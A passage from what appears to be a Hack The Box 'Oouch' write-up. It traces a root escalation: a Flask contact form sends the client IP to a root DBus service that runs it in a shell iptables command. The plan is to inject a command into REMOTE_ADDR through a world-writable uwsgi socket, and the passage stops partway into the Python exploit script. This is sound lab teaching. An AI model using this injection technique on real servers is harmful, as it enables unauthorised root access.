class=\"enlighter-n1\">4<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">07<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">48<\/span><span class=\"enlighter-text\"> tmp<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwxr-xr-x <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Aug <\/span><span class=\"enlighter-n1\">12<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\"> usr<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">drwxr-xr-x <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">4096<\/span><span class=\"enlighter-text\"> Sep <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">12<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">23<\/span><span class=\"enlighter-text\"> var<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>The directory<span>\u00a0<\/span><code>code<\/code><span>\u00a0<\/span>looks like what we are searching for. Now we can take advantage of our knowledge that the consumer is a<span>\u00a0<\/span><em>Flask<span>\u00a0<\/span><\/em>application. The code snipped we are looking for should therefore be placed inside a file with name<span>\u00a0<\/span><code>routes.py<\/code>:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">qtc@72ddb6be7ede:~$ find \/ -name routes.py <\/span><span class=\"enlighter-n1\">2<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\">\/dev\/null<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">\/code\/oouch\/routes.py<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Inside the file, we find the filtering code:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">@app.<\/span><span class=\"enlighter-m1\">route<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">'\/contact'<\/span><span class=\"enlighter-text\">, methods=<\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-s0\">'GET'<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-s0\">'POST'<\/span><span class=\"enlighter-g1\">])<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">@login_required<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">def<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">contact<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-c0\"> # If the form was already submitted, we process the contents<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">if<\/span><span class=\"enlighter-text\"> form.<\/span><span class=\"enlighter-m1\">validate_on_submit<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-c0\"> # First apply our primitive xss filter<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k1\">if<\/span><span class=\"enlighter-text\"> primitive_xss.<\/span><span class=\"enlighter-m1\">search<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">form.textfield.data<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> bus = dbus.<\/span><span class=\"enlighter-m1\">SystemBus<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> block_object = bus.<\/span><span class=\"enlighter-m1\">get_object<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">'htb.oouch.Block'<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-s0\">'\/htb\/oouch\/Block'<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> block_iface = dbus.<\/span><span class=\"enlighter-m1\">Interface<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">block_object, dbus_interface=<\/span><span class=\"enlighter-s0\">'htb.oouch.Block'<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> client_ip = request.environ.<\/span><span class=\"enlighter-m1\">get<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">'REMOTE_ADDR'<\/span><span class=\"enlighter-text\">, request.remote_addr<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> <\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> response = block_iface.<\/span><span class=\"enlighter-m1\">Block<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">client_ip<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> bus.<\/span><span class=\"enlighter-m1\">close<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">return<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">render_template<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">'hacker.html'<\/span><span class=\"enlighter-text\">, title=<\/span><span class=\"enlighter-s0\">'Hacker'<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>So we can see that our assumptions were basically correct. The application applies a<span>\u00a0<\/span><em>primitive_xss<\/em><span>\u00a0<\/span>filter onto the input and blocks the IP address of the client if some malicious input was identified. The IP address is obtained from the environment variable<span>\u00a0<\/span><code>REMOTE_ADDR<\/code>.<\/p>\n<h3 id=\"attack-vector\">4.4 \u2013 Finding an Attack Vector<\/h3>\n<p>Lets create a short summary of the new behavior that we have discovered in the last section:<\/p>\n<ul>\n<li>The consumer application blocks IP addresses once it encounters malicious input.<\/li>\n<li>The consumer application uses<span>\u00a0<\/span><em>DBus<span>\u00a0<\/span><\/em>communication to send the IP address of the client to a<span>\u00a0<\/span><em>dbus-server<\/em>.<\/li>\n<li><code>dbus-server<\/code><span>\u00a0<\/span>is running as root and probably uses<span>\u00a0<\/span><em>iptables<\/em><span>\u00a0<\/span>to block malicious users.<\/li>\n<\/ul>\n<p>The interesting question for us is now how<span>\u00a0<\/span><code>dbus-server<\/code><span>\u00a0<\/span>performs the IP block using<span>\u00a0<\/span><em>iptables<\/em>. If we are lucky, it just takes the input of the consumer application and throws this unfiltered in a call to<span>\u00a0<\/span><code>system()<\/code>. In this case, the consumer application could easily execute commands as the<span>\u00a0<\/span><strong>root<\/strong><span>\u00a0<\/span>user account on the<span>\u00a0<\/span><em>Oouch<span>\u00a0<\/span><\/em>server. We can run<span>\u00a0<\/span><code>pspy64<\/code><span>\u00a0<\/span>on the<span>\u00a0<\/span><em>Oouch<span>\u00a0<\/span><\/em>server and submit a malicious request inside of the contact form. If our assumptions are correct, we should catch the corresponding<span>\u00a0<\/span><em>iptables<span>\u00a0<\/span><\/em>call that contains our IP address.<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">qtc@oouch:\/tmp$ .\/pspy <\/span><span class=\"enlighter-n1\">2<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\">\/dev\/null<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">2019<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">09<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">04<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">11<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">30<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">21<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">CMD<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-e3\">UID<\/span><span class=\"enlighter-text\">=<\/span><span class=\"enlighter-n1\">33<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">PID<\/span><span class=\"enlighter-text\">=<\/span><span class=\"enlighter-n1\">928<\/span><span class=\"enlighter-text\"> | \/venv\/bin\/uwsgi --<\/span><span class=\"enlighter-k9\">show<\/span><span class=\"enlighter-text\">-config <\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"enlighter-special\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">2019<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">09<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">04<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">11<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">33<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">19<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">CMD<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-e3\">UID<\/span><span class=\"enlighter-text\">=<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">PID<\/span><span class=\"enlighter-text\">=<\/span><span class=\"enlighter-n1\">3078<\/span><span class=\"enlighter-text\"> | sh -c iptables -A <\/span><span class=\"enlighter-e3\">PREROUTING<\/span><span class=\"enlighter-text\"> -s 10.10.14.<\/span><span class=\"enlighter-n1\">37<\/span><span class=\"enlighter-text\"> -t mangle -j <\/span><span class=\"enlighter-e3\">DROP<\/span><span class=\"enlighter-text\"> <\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Here it is.Chances are high that the consumer application can inject commands inside the<span>\u00a0<\/span><em>iptables<span>\u00a0<\/span><\/em>call, that are executed as the<span>\u00a0<\/span><strong>root<span>\u00a0<\/span><\/strong>user on<span>\u00a0<\/span><em>Oouch<\/em>. But we are still<span>\u00a0<\/span><em>qtc<span>\u00a0<\/span><\/em>and have no permissions to modify the application code. Maybe we can inject commands into the IP address using<span>\u00a0<\/span><em>HTTP<span>\u00a0<\/span><\/em>headers like<span>\u00a0<\/span><strong>X-Forwarded-For<\/strong><span>\u00a0<\/span>during a malicious contact request? Well, from my perspective this should not work. When looking at the code you find that the consumer application checks the<span>\u00a0<\/span><em>uwsgi<span>\u00a0<\/span><\/em>parameter<span>\u00a0<\/span><code>REMOTE_ADDR<\/code><span>\u00a0<\/span>to determine the IP address of the client. When looking at the<span>\u00a0<\/span><em>uwsgi<span>\u00a0<\/span><\/em>parameters of<span>\u00a0<\/span><em>nginx<\/em>, you will find that this one is mapped to<span>\u00a0<\/span><code>$remote_addr<\/code>:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">qtc@72ddb6be7ede:\/etc\/nginx$ cat uwsgi_params <\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">uwsgi_param <\/span><span class=\"enlighter-k0\">QUERY_STRING<\/span><span class=\"enlighter-text\"> $query_string;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">uwsgi_param <\/span><span class=\"enlighter-k0\">REQUEST_METHOD<\/span><span class=\"enlighter-text\"> $request_method;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">uwsgi_param <\/span><span class=\"enlighter-k0\">CONTENT_TYPE<\/span><span class=\"enlighter-text\"> $content_type;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">uwsgi_param <\/span><span class=\"enlighter-k0\">CONTENT_LENGTH<\/span><span class=\"enlighter-text\"> $content_length;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">uwsgi_param <\/span><span class=\"enlighter-k0\">REQUEST_URI<\/span><span class=\"enlighter-text\"> $request_uri;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">uwsgi_param <\/span><span class=\"enlighter-k0\">PATH_INFO<\/span><span class=\"enlighter-text\"> $document_uri;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">uwsgi_param <\/span><span class=\"enlighter-k0\">DOCUMENT_ROOT<\/span><span class=\"enlighter-text\"> $document_root;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">uwsgi_param <\/span><span class=\"enlighter-k0\">SERVER_PROTOCOL<\/span><span class=\"enlighter-text\"> $server_protocol;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">uwsgi_param <\/span><span class=\"enlighter-k0\">REQUEST_SCHEME<\/span><span class=\"enlighter-text\"> $scheme;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">uwsgi_param <\/span><span class=\"enlighter-k0\">HTTPS<\/span><span class=\"enlighter-text\"> $https if_not_empty;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">uwsgi_param <\/span><span class=\"enlighter-k0\">REMOTE_ADDR<\/span><span class=\"enlighter-text\"> $remote_addr;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">uwsgi_param <\/span><span class=\"enlighter-k0\">REMOTE_PORT<\/span><span class=\"enlighter-text\"> $remote_port;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">uwsgi_param <\/span><span class=\"enlighter-k0\">SERVER_PORT<\/span><span class=\"enlighter-text\"> $server_port;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">uwsgi_param <\/span><span class=\"enlighter-k0\">SERVER_NAME<\/span><span class=\"enlighter-text\"> $server_name;<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>From the<span>\u00a0<\/span><em>nginx<span>\u00a0<\/span><\/em>documentation, you find that this variable should always contain the<span>\u00a0<\/span><em>real client IP<\/em><span>\u00a0<\/span>address that is not influenced by any<span>\u00a0<\/span><em>HTTP<span>\u00a0<\/span><\/em>headers. But wait a minute! We may skipped some relevant information for people that are not familiar with<span>\u00a0<\/span><em>uwsgi<span>\u00a0<\/span><\/em>and how it is deployed on production services. Well, Python web applications written in<span>\u00a0<\/span><em>Flask<span>\u00a0<\/span><\/em>or<span>\u00a0<\/span><em>Django<\/em><span>\u00a0<\/span>follow the<span>\u00a0<\/span><em>WSGI<\/em><span>\u00a0<\/span>(<em>Python Web Server Gateway Interface<\/em>) specification and need to be run by a dedicated service like<span>\u00a0<\/span><em>uwsgi<\/em>. While<span>\u00a0<\/span><em>uwsgi<span>\u00a0<\/span><\/em>also implements a standalone web server, it is considered best practice to put your<span>\u00a0<\/span><em>uwsgi<span>\u00a0<\/span><\/em>application behind a dedicated web server like<span>\u00a0<\/span><em>nginx<span>\u00a0<\/span><\/em>(more stable, more secure, \u2026). In such a setup,<span>\u00a0<\/span><em>uwsgi<span>\u00a0<\/span><\/em>just opens a<span>\u00a0<\/span><em>unix domain socket<\/em><span>\u00a0<\/span>on your server and<span>\u00a0<\/span><em>nginx<span>\u00a0<\/span><\/em>is configured to forward requests to that<span>\u00a0<\/span><em>unix domain socket<\/em>.<span>\u00a0<\/span><em>uwsgi<span>\u00a0<\/span><\/em>will then process the request and transfer the result back to<span>\u00a0<\/span><em>nginx<\/em>, which returns the response to the actual user. The whole process can be represented like this:<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/29-uwsgi.png\" title_text=\"29-uwsgi\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<p>Now when looking at the uwsgi configuration of our Flask application, we can see that it spawns the unix domain socket inside the<span>\u00a0<\/span><code>\/tmp<\/code><span>\u00a0<\/span>folder:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">qtc@72ddb6be7ede:\/code$ cat uwsgi.ini <\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-t2\">[uwsgi]<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k2\">module <\/span><span class=\"enlighter-k3\">=<\/span><span class=\"enlighter-text\"> oouch:app<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k2\">uid <\/span><span class=\"enlighter-k3\">=<\/span><span class=\"enlighter-text\"> www-data<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k2\">gid <\/span><span class=\"enlighter-k3\">=<\/span><span class=\"enlighter-text\"> www-data<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k2\">master <\/span><span class=\"enlighter-k3\">=<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e0\">true<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k2\">processes <\/span><span class=\"enlighter-k3\">=<\/span><span class=\"enlighter-text\"> 10<\/span><\/div>\n<\/div>\n<div class=\"enlighter-special\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k2\">socket <\/span><span class=\"enlighter-k3\">=<\/span><span class=\"enlighter-text\"> \/tmp\/uwsgi.socket<\/span><\/div>\n<\/div>\n<div class=\"enlighter-special\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k2\">chmod-sock <\/span><span class=\"enlighter-k3\">=<\/span><span class=\"enlighter-text\"> 777<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k2\">vacuum <\/span><span class=\"enlighter-k3\">=<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e0\">true<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k2\">die-on-term <\/span><span class=\"enlighter-k3\">=<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e0\">true<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>The configuration file further tells us, that the socket permissions are set to<span>\u00a0<\/span><em>777<\/em><span>\u00a0<\/span>(while building the machine it turned out that the socket permissions inside the configuration file are ignored by<span>\u00a0<\/span><em>uwsgi<\/em>. Therefore, they are additionally specified on the command line with<span>\u00a0<\/span><em>666<\/em>). This tells us that anyone is able to write to and read from the socket. Instead of trying to inject a malicious IP string inside a request made by<span>\u00a0<\/span><em>nginx<\/em>, we can now send a malicious IP string ourselfs by directly contacting the<span>\u00a0<\/span><em>unix domain socket<\/em>. The following steps are required to perform the attack:<\/p>\n<ul>\n<li>Figure out how to communicate to the<span>\u00a0<\/span><em>uwsgi<span>\u00a0<\/span><\/em>socket.<\/li>\n<li>Send a malicious message to the<span>\u00a0<\/span><code>\/contact<\/code><span>\u00a0<\/span>endpoint using the<span>\u00a0<\/span><em>uwsgi<span>\u00a0<\/span><\/em>socket directly.<\/li>\n<li>Include a<span>\u00a0<\/span><code>REMOTE_ADDR<\/code><span>\u00a0<\/span>parameter that contains a command injection string.<\/li>\n<li>Obtain a root shell!<\/li>\n<\/ul>\n<h3 id=\"performing-exploit\">4.5 \u2013 Performing the Exploit<\/h3>\n<p>The most difficult part when performing the command injection is to figure out how to communicate to the<span>\u00a0<\/span><em>uwsgi unix domain socket<\/em>. Probably for performance reasons, the communication protocol that is used by<span>\u00a0<\/span><em>uwsgi<span>\u00a0<\/span><\/em>is slightly different from simple<span>\u00a0<\/span><em>HTTP<\/em>. Incoming<span>\u00a0<\/span><em>HTTP<span>\u00a0<\/span><\/em>requests are parsed by<span>\u00a0<\/span><em>nginx<span>\u00a0<\/span><\/em>into several parameters that are sent as binary structures to the<span>\u00a0<\/span><em>uwsgi<span>\u00a0<\/span><\/em>service. The detailed specification can be looked at inside the<span>\u00a0<\/span><a href=\"https:\/\/uwsgi-docs.readthedocs.io\/en\/latest\/\" target=\"_blank\" rel=\"noreferrer noopener\">uwsgi documentation<\/a>.<\/p>\n<p>Instead of reinventing the wheel, we can just look if someone has already developed some tools to easily communicate with<span>\u00a0<\/span><em>uwsgi<span>\u00a0<\/span><\/em>sockets and during my search, I found this handy<span>\u00a0<\/span><em>GitHub<span>\u00a0<\/span><\/em>repository:<span>\u00a0<\/span><a href=\"https:\/\/github.com\/andreif\/uwsgi-tools\" target=\"_blank\" rel=\"noreferrer noopener\">uwsgi-tools<\/a>. It includes a<span>\u00a0<\/span><em>uwsgi<span>\u00a0<\/span><\/em>implementation of<span>\u00a0<\/span><em>curl<span>\u00a0<\/span><\/em>which is exactly what we are looking for. Unfortunately (at the time of writing), the provided<span>\u00a0<\/span><em>curl<span>\u00a0<\/span><\/em>tool does not support usage of<span>\u00a0<\/span><em>unix domain sockets<\/em>, but expects<span>\u00a0<\/span><em>uwsgi<span>\u00a0<\/span><\/em>to bind at ordinary<span>\u00a0<\/span><em>UDP<span>\u00a0<\/span><\/em>or<span>\u00a0<\/span><em>TCP<span>\u00a0<\/span><\/em>ports. Therefore, we have to modify the code quite a bit in order to make it work. For testing purposes I did first of all implement a version that performs a<span>\u00a0<\/span><em>GET<span>\u00a0<\/span><\/em>requests on the login endpoint:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">import<\/span><span class=\"enlighter-text\"> sys<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">import<\/span><span class=\"enlighter-text\"> socket<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">import<\/span><span class=\"enlighter-text\"> ctypes<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">from <\/span><span class=\"enlighter-k10\">urllib.parse<\/span><span class=\"enlighter-k0\"> import<\/span><span class=\"enlighter-text\"> urlsplit<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-c0\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-c0\"># First we need to define some structures that are used by the uwsgi protocol.<\/span><span class=\"enlighter-c0\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-c0\"># Big thanks to: https:\/\/github.com\/andreif\/uwsgi-tools<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">class<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">UwsgiPacketHeader<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">ctypes.Structure<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s5\">\"\"\"<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> struct uwsgi_packet_header {<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> uint8_t modifier1;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> uint16_t datasize;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> uint8_t modifier2;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> }<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> \"\"\"<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> _pack_ = <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> _fields_ = <\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"modifier1\"<\/span><span class=\"enlighter-text\">, ctypes.c_int8<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"datasize\"<\/span><span class=\"enlighter-text\">, ctypes.c_int16<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">\"modifier2\"<\/span><span class=\"enlighter-text\">, ctypes.c_int8<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">class<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">UwsgiVar<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">object<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s5\">\"\"\"<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> struct uwsgi_var {<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> uint16_t 